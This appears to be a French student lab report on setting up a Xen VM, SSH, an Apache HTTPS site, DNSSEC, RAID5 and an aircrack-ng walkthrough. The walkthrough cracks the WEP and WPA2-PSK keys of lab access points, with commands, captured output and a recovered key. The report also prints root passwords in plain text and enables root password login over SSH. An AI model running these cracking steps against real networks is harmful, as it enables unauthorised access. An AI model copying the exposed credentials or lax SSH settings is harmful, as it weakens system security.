* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
